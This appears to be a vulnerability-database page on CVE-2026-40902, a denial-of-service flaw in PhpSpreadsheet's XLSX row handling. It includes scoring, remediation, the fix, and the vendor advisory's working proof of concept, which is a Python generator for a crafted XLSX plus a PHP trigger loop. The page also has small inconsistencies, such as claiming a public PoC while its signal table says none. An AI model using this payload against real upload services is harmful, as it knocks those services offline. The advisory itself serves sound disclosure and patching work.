Skip to main content

PhpSpreadsheet CVE-2026-40902

HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-04-29 https://github.com/PHPOffice/PhpSpreadsheet GHSA-7c6m-4442-2x6m
7.5
CVSS 3.1 · Vendor: https://github.com/PHPOffice/PhpSpreadsheet
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft 1.6KB XLSX with row r=999999999
  2. Delivery
    Upload to spreadsheet-import endpoint
  3. Exploit
    Reader inflates cachedHighestRow past MAX_ROW
  4. Execution
    getHighestRow returns 999999999
  5. Persist
    Row iteration runs ~1 billion cycles
  6. Impact
    CPU/memory exhaustion denies service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires that the target application (1) accepts and loads attacker-supplied XLSX files through PhpSpreadsheet's Xlsx reader, and (2) subsequently iterates rows via getRowIterator() or uses getHighestRow() as a loop/allocation bound - the malicious <row r="999999999"/> row-dimension attribute is what inflates cachedHighestRow past the 1,048,576 limit. No authentication or user interaction is required per the CVSS vector (PR:N/UI:N) against the reader itself. Limiting factors: the severe CPU/memory exhaustion is only fully realized when the app actually iterates rows or trusts getHighestRow() downstream - applications that read only specific named cells and never iterate may avoid the worst case; the file must reach the vulnerable Xlsx code path; and hosts with strict max_execution_time/memory_limit will terminate rather than hang indefinitely, degrading impact to per-request failures.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base 7.5) describes a network-reachable, low-complexity, unauthenticated availability-only impact - consistent with the description of an uploaded file causing CPU exhaustion. However, real-world risk is more nuanced than the raw 7.5 suggests: the DoS only materializes if the consuming application actually iterates rows (getRowIterator) or uses getHighestRow() as a loop/allocation bound after loading, so an application that merely opens the file and reads specific cells may not trigger the worst case. EPSS is very low (0.04%, 12th percentile) and there is no CISA KEV listing, indicating no observed mass exploitation - but a complete, weaponizable PoC is public in the vendor advisory, lowering the barrier to opportunistic abuse of any site that accepts spreadsheet uploads. Net assessment: a genuine, easily-reproducible availability risk for upload-processing web apps (extreme amplification of ~1,580 bytes to ~1 billion iterations), but purely DoS with no confidentiality or integrity impact - prioritize for public upload-handling services, deprioritize for internal/trusted-input pipelines. No signals appear contradictory; the low EPSS despite a public PoC simply reflects that this is a targeted DoS rather than a wormable RCE.

Exploit ScenarioDerived

An attacker uploads a ~1.6KB XLSX file containing <row r="999999999"/> to a web application that imports spreadsheets (e.g., a bulk-import or data-onboarding feature). When the backend loads the file and iterates rows via getRowIterator() - or uses getHighestRow() to size a loop or array - the worker spins through ~999 million iterations, burning ~144 seconds of CPU per file and tying up the process; repeated uploads exhaust the worker pool and deny service. A complete working PoC (Python file generator plus PHP trigger) is published in the vendor advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

CPU denial-of-service in the PHPOffice PhpSpreadsheet library (versions 2.0.0-2.1.15, 2.2.0-2.4.4, 3.3.0-3.10.4, and 4.0.0-5.6.0) allows remote attackers to hang application worker processes by uploading a ~1.6KB crafted XLSX file. The XLSX reader trusts the row number in a <row r="..."> attribute without bounding it against the 1,048,576 row limit, so a single <row r="999999999"/> element inflates the cached highest row and forces roughly one billion iterations (~144s CPU burn) whenever the application iterates rows or uses getHighestRow() as a loop bound. Publicly available exploit code exists (a full PoC in the GitHub Security Advisory); EPSS is low at 0.04% (12th percentile) and it is not in CISA KEV.

RemediationAI

Vendor-released patch: upgrade to phpoffice/phpspreadsheet 5.7.0 (from the 4.x/5.x branch), 3.10.5 (from 3.x), 2.4.5 (from 2.2.x-2.4.x), or 2.1.16 (from 2.0.x-2.1.x) via composer update phpoffice/phpspreadsheet, matching your current major branch. The fix adds bounds validation in readRowAttributes() so row indices outside 1..AddressRange::MAX_ROW (1,048,576) are skipped, mirroring the existing column check. If you cannot patch immediately, compensating controls: enforce a strict PHP max_execution_time and per-request memory_limit on upload-processing workers so a runaway iteration is killed rather than hanging indefinitely (trade-off: legitimate very-large files may also be terminated); avoid calling getRowIterator()/getHighestRow() as unbounded loop bounds on untrusted files, and instead clamp the end row to a sane maximum before iterating; and where feasible, pre-scan uploaded XLSX worksheet XML to reject <row r="..."> values above 1,048,576 before handing the file to PhpSpreadsheet. Advisory reference: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m.

Affected Packages

composer phpoffice/phpspreadsheet fix: 1.30.4, 2.1.16, 2.4.5, 3.10.5, 5.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is PhpSpreadsheet, the de-facto PHP library for reading and writing office spreadsheet formats, specifically its XLSX (SpreadsheetML/OOXML) reader. The root cause is CWE-400 (Uncontrolled Resource Consumption): in src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216, readRowAttributes() casts the XML r attribute directly to an integer ($rowIndex = (int) $row['r']) with no upper-bound check. That value propagates through setRowAttributes() into Worksheet::getRowDimension(), which sets cachedHighestRow = max(cachedHighestRow, $row) (Worksheet.php:1348). getHighestRow() then returns the attacker-controlled value, and RowIterator::resetEnd() (RowIterator.php:86) uses it as the default iteration end bound. Notably the equivalent column path is already validated against AddressRange::MAX_COLUMN_INT (line 161) and cell coordinates are validated in Coordinate::coordinateFromString() against MAX_ROW, so only the row-dimension attribute path bypasses the existing guardrails. The affected package is identified by CPE/purl pkg:composer/phpoffice_phpspreadsheet (Composer package phpoffice/phpspreadsheet).

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/PHPOffice/PhpSpreadsheet) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Remote unauthenticated attacker uploads a file that reliably triggers CPU/memory exhaustion with low complexity; availability-only impact, no confidentiality or integrity effect.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).

CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

php
// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

php
// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

php
// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

python
import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('[Content_Types].xml', content_types)
    zf.writestr('_rels/.rels', rels)
    zf.writestr('xl/workbook.xml', workbook)
    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
    zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

php
<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
    // CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

  • CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
  • Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
  • Amplification: The ratio of input size to resource consumption is extreme - 1,580 bytes triggers nearly 1 billion iterations.
  • Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

php
// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
    continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

Executive ViewAI

Why It Matters

PHPOffice PhpSpreadsheet library versions 2.0.0-5.6.0 contain a high-severity denial-of-service vulnerability with publicly available exploit code; remote attackers can render application services unresponsive through malicious XLSX uploads. Organizations using this library face operational disruption and potential service unavailability. Immediate patching is required to mitigate this risk.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Prevalence
High
de-facto PHP spreadsheet library, widely bundled in web apps
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:composer/phpoffice_phpspreadsheet
pkg:composer/phpoffice_phpspreadsheet
pkg:composer/phpoffice_phpspreadsheet
pkg:composer/phpoffice_phpspreadsheet
pkg:composer/phpoffice_phpspreadsheet

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy